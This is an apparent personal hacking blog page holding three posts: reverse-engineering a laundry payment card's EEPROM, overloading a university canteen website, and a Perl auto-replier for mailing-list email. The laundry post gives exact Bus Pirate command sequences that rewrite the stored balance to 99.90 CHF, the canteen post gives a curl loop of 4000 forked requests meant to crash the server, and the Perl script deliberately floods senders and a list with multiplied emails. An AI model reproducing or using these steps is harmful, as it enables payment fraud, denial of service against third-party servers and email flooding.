Showing posts with label hack. Show all posts
Showing posts with label hack. Show all posts

Thursday, July 1, 2010

Free laundry for everybody :)


Where I live, there is a room with the laundry machine. Once every other week, you can use it to wash your clothes.
We have different systems to pay: (pseudo) smart card, coins, etc, it depends on where you live. In my case, it was a pseudo smart card you have to refill with money (to the concierge) every time it gets empty.

Here is how it looks like:




I use the word "pseudo" smart card, because as you can see, it is not really one. Actually, there are only 6 contacts (instead of 8) and there is a sort of bus driving the signal somewhere in the white plastic.

The white plastic was heavily attached to the card, so to remove it, I put the whole card in an acetone bath. After few minutes, I was able to remove it without any pain.

I was amazed to see a simple EEPROM underneath. It already meant that replay attacks were possible, even if we didn't know how to interpret the content: save the content, do your laundry and restore the content afterward.




We can identify the chip and deduce from the logo that the manufacturer is "National":

71AR
93C46
M8

I found a similar datasheet. However, we'll see that it is not exactly the same.
Since I didn't want to be invasive on the card, I bought a "season 2 interface". This device is usually used by satellite pirate and is handy to do MITM on smartcards. I got mine for 8€.




I also soldered 8 pins on the back of the interface, to inject my signals (I/O of the SPI).




Since we have the datasheet, we can make the pin ring with a multimeter and deduce what corresponds to what on the smart card contacts:

X --- X (not assigned)
Di --- Sk
Do --- CS
GND --- VCC

I'll make a long story short, because I had different, not really relevant issues. To inject the signal, I used the "Bus pirate" (BP) and to verify that the injected signal was correct, I used the OpenBench Logic Analyzer (OLA). The BP is a cool piece of hardware, because there is an interpreter that will help you to send the correct signal with the correct synchronization, so no need to write a program for it. Since I was not mastering it, I used the OLA to make sure the signal was correct. According to the datasheet, the sequence to send is 0y110 + 6 bit address. After some trial and error, I finally was able to dump the whole memory, by sending something like the following command in raw3wire mode, 5V:
]-^^_^ _^:6 r:1024[

Actually, by looking at the longest prefix, we figure out that the memory is 128 B long and looks like the following:

READ:
0x03 0xE8 0x03 0xC8 0x03 0xD7 0x02 0xE9 0x00 0x00
0x00 0x04 0x03 0xEA 0x0B 0x5E 0x01 0xAA 0x0B 0x5E
0x00 0x00 0x0B 0x5E 0x00 0x00 0x00 0x00 0x00 0x00
0x03 0xE8 0x00 0x04 0x03 0xEA 0x0B 0x5E 0x01 0xAA
0x0B 0x5E 0x0B 0x5E 0x00 0x00 0x00 0x00 0x00 0x00
0x25 0xAE 0x15 0xB3 0x1A 0x0A 0x00 0x00 0x00 0x00
0x00 0x00 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF



The smallest granularity is 2B when accessing the card (just make the division and it'll fit). At the first look, I don't know what these values really are. So I decided to go to the laundry room, put my card in the reader and pay for a wash. The price was 3.-. Then I dumped the content again and made a diff:

READ:
0x03 0xE8 0x03 0xC8 0x03 0xD7 0x02 0xE9 0x00 0x00
0x00 0x04 0x03 0xEA
0x0A 0x32 0x01 0xAA 0x0A 0x32
0x00 0x00
0x0A 0x32 0x00 0x00 0x00 0x00 0x00 0x00
0x03 0xE8 0x00 0x04 0x03 0xEA
0x0A 0x32 0x01 0xAA
0x0A 0x32 0x0A 0x32 0x00 0x00 0x00 0x00 0x00 0x00
0x25 0xAE 0x15 0xB3 0x1A 0x0A 0x00 0x00 0x00 0x00
0x00 0x00 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF


This is interesting, 6 regions in memory changed somehow. But what does 0x0A32 means ? This is 2610, and previously, we had 0x0B5E which are 2910. Remember I told you it costed me 3.-... and what I didn't tell you was the amount of money remaining on my card: 29.10.-. So it is just written in clear in 6 different regions in memory, I couldn't believe it !

The next step was to write 9990 (0x2706) in these memory position and see if it worked. However, to write, according to the datasheet, we have to set WEN, and we just cannot, since all the pinouts are taken. Thus, this is not the good method. I tried to send a "write" command, but without any success :(.

When I was looking for the datasheet of the chip, I found also this one. This is an Atmel, but it turns out the protocol is quite similar. We see there is a "Write Enable", with sequence 0y10011XXXX that has to precede every programming mode.
If we now send a command like

]-^_^^-^^^^^^^^[ ]-^_^-^ -^^^^^^ 0x12:2[ ]-^^_^ -^^^^^^ r:128[

the magic occurs and we see, hopefully, that the content has been correctly written to the EEPROM. This is a good news, so we can now modify the 6 areas we previously found. I did a small script to calculate the offsets, but basically, we need to modify by doing this:

]-^_^^-^^^^^^^^[ ]-^_^-^ _^^^-^^^ 0x27 0x06[ : 7th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^^-^_^^-^ 0x27 0x06[ : 9th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^^-^_^-^^ 0x27 0x06[ : 11th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^^-^_^ 0x27 0x06[ : 18th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^-^_^^ 0x27 0x06[ : 20th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^-^_^-^ 0x27 0x06[ : 21th word


Of course, this can be written in a shorter manner, but for clarity, I leave it this way. To sum up, we just modified the 6 areas in memory to put 9990 (0x2706) in them (99.90 CHF), because it sounded like the mechanism was working this way. Now, let's go back to the laundry room to see if it works as expeced:





This is a very small hack, but still nice. I'm not sure this company is still selling this kind of "smart cards", they probably replaced them with real smart cards nowadays. I wouldn't have done this hack without the help of Ian & Sjaak from the dangerous prototypes forum, so greetz to them.

Thursday, October 22, 2009

Abuse the load time of a Web page, for DoS & profit

In my university, we have different canteens (this is how it's called) where you can eat for lunch. Each canteen puts its food on a common website.

You also have the possibility to see what was yesterday's lunch, but also tomorrow's one. Basically, if you request tomorrow's offer, the URL will look like
http://X?ref=1
If you want yesterday's URL, you will type
http://X?ref=-1
And obviously, if you want to have the menu that was available 2 days ago, you just have to type
http://X?ref=-2
Of course, the idea is to input a big number here and see what happens. Usually, big numbers are escaped. Let's have a try...
http://X?ref=-20000
This gives us the offers of the Wednesday, Jan 19 1955. Of course, the entry is empty, but it's fun to come back that much. Now we add one more '0'
http://X?ref=-200000
The date now is Jan 1st 1970. This date should talk to you (doesn't it ?). Do we have an overflow somewhere in there ? Clearly, there is a validation input issue. I also quickly tested other escape patterns, they did not work.

However, we can measure the load time of the page to see if our input modifies it. To do it, I will use this small script that will only count the load time

for i in $(seq 1 8000000 2000000000)
do
curl -s -w "%{time_total}\n" -o /dev/null http://X.php?ref=-$i >> /tmp/result.txt
done
Then, we can plot the result of the previous command.

I admit I wasn't expecting such an increase. The script probably has an internal loop and iterates over the argument we provide. If we decrease the granularity by increasing the increment, but also the limit, this rule is confirmed as you can see on the next plot.



This time, we start seeing some discrepancies, but the overall picture is still linear. Since we get such a nice graph, why not trying with HUGE values ?

curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000
30.084

The last request took 30s to be computed. So what's next ? If it takes 30 seconds for 1 request, what will happen for 4000 requests ?

for i in {1..4000}
do
curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000 > /dev/null &
done

You will notice that a '&' was added at the end of the command, in order it to fork. It will probably dramatically slow down your computer, but you will eventually crash the remote machine.

Actually, the load time trick has already been used in the past. Typically, you could use this to query a database: depending on the time it takes to answer, you'll be able to deduce whether the login/pass was in the database or not (sort of "side channel attack").

Well, once you can identify this kind of behavior (change in the processing time upon request), it becomes just a matter of requests for the machine to become out of ressources. Here, the server is misconfigured: one should not allow so many request from a client in such a small time, especially when they increase the resource consumption, and one should also check the input validation more carefully.

Tuesday, September 29, 2009

Defeat google's canned response

There is a great application in gmail lab, called "canned responses". Basically, it replies on your behalf, when your email matches the filter you set up.
This is great for example if you go on vacation and you want to auto-reply a particular message. However, gmail is following "too well" the standard.

In my case, I was really disturbed by the emails I was receiving from my school associations. You know, they are the kind of emails you absolutely don't care about.

So what's the problem ?


The problem is this emails are sent through lists. Usually, there is a moderator deciding whether or not forwarding the email. In my case, I couldn't unsubscribe from the list and I was receiving like 3-5 emails/day.
When using the gmail canned responses, it replied to the "list-bounce" (ie following theReturn-Path in the email header and then, the sender did not receive my email back. That was a pitty.
The idea was then to:
  1. Effectively reply to the sender, not to the bouncer.
  2. Also send an email to the list moderator to show my displeasure.
Sounds like a perl script would be very easy to write. I created a new gmail account and I enabled the POP (Settings->Forwarding and POP/IMAP). On my main email address, I forwarded the email matching a certain pattern to this new mailbox.
To respond to the sender, I was using the mailx command, for simplicity.


Perl is new for me, so my coding style is crappy, I know. Of course, feel free to criticize it if you feel the need.



#!/usr/bin/perl -w
my $user = 'bobo@gmail.com';
my $pass = 'papassword';
my $home = '/home/blabla/automailer';

my $pop = new Mail::POP3Client(
USER => $user,
PASSWORD => $pass,
HOST => "pop.gmail.com",
PORT => 995,
USESSL => 'true',
);

my $count = $pop->Count();
for my $i (1 .. $count) {
my $name = "";
my $email = "";
my $subj = "";
foreach ($pop->Head($i)) {
$name = $1 if /^(?:From):(.+)<(.+)>/i;
$email = $1 if /^(?:From):(?:.+)<(.+)>/i;
$subj = $1 if /^(?:Subject):(.+)/i;
}

# We remove the spaces at beginning/end
s/^\s+// for $subj;
s/\s+$// for $subj;
s/^\s+// for $email;
s/\s+$// for $email;
s/^\s+// for $name;
s/\s+$// for $name;

# We save the history
open FILE, "< $home/contact.txt" or die; my @array = ;
close FILE or die;
my $found = 0;
my $number = 0;
for my $i (0..$#array) {
if ($array[$i] =~ /$email\s+(\d+)/) {
$number = $1;
$number++;
$array[$i] =~ s/$1/$number/;
$found = 1;
# print FILE;
}
}
if ($found == 0) {
push(@array, "$email 1\n");
$number = 1;
}
open FILE, "> $home/contact.txt" or die;
print FILE @array;
close FILE or die;

my $msg;
$msg .= "Hi $name,\n\n";
$msg .= "I'm an auto replier.\n";
$msg .= "Thanks a lot for your email \"".$subj."\", but I am absolutely not interested. Next time,
please remove my address from your contact list.\n";
$msg .= "Since apparently you already sent me ".$number." times an email, I am going to do the same
x6. Thus, I'm sending you back ".($number * 6)." emails.\n" if ($number > 1);
$msg .= "\n";
$msg .= "Thanks,\n";
$msg .= "\n";
$msg .= "Blabla.";
$msg .= "\n";
# print $msg;
open FILE, "> $home/msg.txt" or die;
print FILE $msg;
close FILE or die;

for (my $i = 0; $i < $number; $i++) {
`mailx $email -s \"Not interested: $subj $i\" < $home/msg.txt`;
`mailx crappylist\@vovo.com -s \"Not interested: $subj $i\" < $home/msg.txt`; }

$pop->Delete($i);
}
$pop->Close();




So what do we do ?

  • We first connect to the server and retrieve every email.
  • For each email, we take the sender's name, email address and the subject.
  • We build the message with the previously collected data.
  • We send the message and update the history. An entry in the history is email - times. First time we are polite, then we send 6x the number of emails the sender sent to us.
  • We send the email using mailx (easy way...).
  • We delete the message on the server, in order not to reprocess it.
There we have a very effective auto-replier that will spam back the sender (and the list btw). You can put this Perl script in you crontab, of run a small bash script in a screen that will execute it every 10 minutes for instance.

The end of the story ?

The administrator contacted me, because I was improperly using the computer resources of my school and I had to shut off my script :(...